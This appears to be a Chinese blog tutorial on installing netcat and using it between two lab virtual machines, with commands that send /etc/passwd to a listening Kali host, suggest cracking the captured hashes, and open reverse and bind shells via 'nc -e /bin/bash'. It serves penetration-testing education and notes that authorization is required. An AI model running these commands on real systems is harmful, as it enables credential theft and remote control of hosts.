【网络安全】nc的安装和简单操作

简介: nc的安装和简单操作

nc的安装和简单操作

一.下载nc(这里我用的是yum源的下载)

 命令: `yum install -y nc`

图片.png

二.实现连接通信操作

(我这里用的是两台虚拟机相互通信, 分别是contos 7 x86版 和 kali 2022版,这里可以把contos当作靶机,kali当作客户端)


1.查找kali的ip地址

命令:`ifconfig`

图片.png

2.利用nc 打开端口进行监听(这里我打开的是9999端口)

命令:`nc -lnvp 9999`

图片.png

这样就说明已经开始监听了。


3.打开contos 7 连接kali

命令:`nc 192.168.116.xxx 9999`

图片.png

输入hello world 后回车 然后我们打开kali,再kali中看到监听的结果

图片.png

三.传输文件内容

1.在客户端(kali)建立一个文件1.txt,用户接受通信

命令:`nc -lvp 9999 >1.txt`

图片.png


2.在服务端(contos 7)传送服务端密码

命令:`nc 192.168.116.xxx 9999 < /etc/passwd`

(如果权限不够,请学习上一篇的漏洞复现,我有讲如何操作)

图片.png

3.观察客户端是否有文件传输进来

命令:`cat 1.txt`

图片.png

那么我们如何确定传输的内容是刚监听到的呢?


4.查看服务端(contos 7中/etc/paaswd文件夹)进行对比。

命令:`cat /etc/passwd`

图片.png

小结:通过对比发现,数据是一致的,所以在做渗透测试中,如果你和对方的主机进行了通信,那么你就可以获取文件进行破解,

提升:各位小伙伴可以和我一样开两个虚拟机进行实验,不可以在他人未授权的情况下连接他人主机进行通信。

获取密码也是一样,得到文件后进行哈希破解,在这里就不讲了。


四.获取shell(控制权限)

1.逆向shell

(1)监听端口(kali中输入)

命令:`nc -lvp 9999`

(2)通过contos连接shell

命令:`nc 192.168.116.xxx 9999 -e /bin/bash`

图片.png

(3)Kali中查看是否获得了shell权限

![在这里插入图片描述](https://img-blog.csdnimg.cn图片.png

2.正向shell

(1)打开contos的监听

命令:`nc -lvp 6666 -e /bin/bash`

图片.png

(2)查看contos的ip

命令:`ip -a`

这里很简单就不说了

(3)Kali进行连接

图片.png

在这里我们可以看到连接没有问题,那么其他操作和前面一致.

**


> 今天就介绍到这


**



相关文章
|
7月前
|
网络协议 Shell Linux
【Shell 命令集合 网络通讯 】Linux 创建网络连接 nc命令 使用教程
【Shell 命令集合 网络通讯 】Linux 创建网络连接 nc命令 使用教程
236 1
|
7月前
|
Linux
CentOS8设置网络镜像安装源
CentOS8设置网络镜像安装源
948 0
|
7月前
|
JavaScript 前端开发 网络安全
【网络安全 | 信息收集】JS文件信息收集工具LinkFinder安装使用教程
【网络安全 | 信息收集】JS文件信息收集工具LinkFinder安装使用教程
371 4
|
2月前
|
Kubernetes 容器
基于Ubuntu-22.04安装K8s-v1.28.2实验(三)数据卷挂载NFS(网络文件系统)
基于Ubuntu-22.04安装K8s-v1.28.2实验(三)数据卷挂载NFS(网络文件系统)
149 0
|
4月前
|
监控 安全 网络协议
这10款网络扫描工具,是个网工,都想全部安装!
这10款网络扫描工具,是个网工,都想全部安装!
306 1
|
4月前
|
Linux
虚拟机安装Linux系统的网络配置
该博客文章提供了解决虚拟机中Linux系统网络问题的多种方法,包括重置网络服务、修改网络配置文件、使用不同网络模式等,以确保虚拟机能够成功连接到网络。
虚拟机安装Linux系统的网络配置
|
4月前
|
机器学习/深度学习 数据可视化 数据挖掘
【Macos系统】安装VOSviewer及使用VOSviewer教程!!以ESN网络的研究进行案例分析
本文介绍了如何在MacOS系统上安装VOSviewer软件,并以ESN(Echo State Network)网络的研究为例,通过VOSviewer对相关科学文献进行可视化分析,以深入了解ESN在学术研究中的应用和发展情况。
299 0
【Macos系统】安装VOSviewer及使用VOSviewer教程!!以ESN网络的研究进行案例分析
|
4月前
|
网络协议 Linux Shell
【Azure 应用服务】App Service For Linux 中安装paping, 用于验证从App Service向外请求的网络连通性
【Azure 应用服务】App Service For Linux 中安装paping, 用于验证从App Service向外请求的网络连通性
|
4月前
|
存储 Kubernetes 调度
使用 Kubeadm 部署 Kubernetes(K8S) 安装 -- 持久化存储(NFS网络存储)
使用 Kubeadm 部署 Kubernetes(K8S) 安装 -- 持久化存储(NFS网络存储)
63 0
|
4月前
|
人工智能 物联网 异构计算
AI智能体研发之路-模型篇(一):大模型训练框架LLaMA-Factory在国内网络环境下的安装、部署及使用
AI智能体研发之路-模型篇(一):大模型训练框架LLaMA-Factory在国内网络环境下的安装、部署及使用
299 0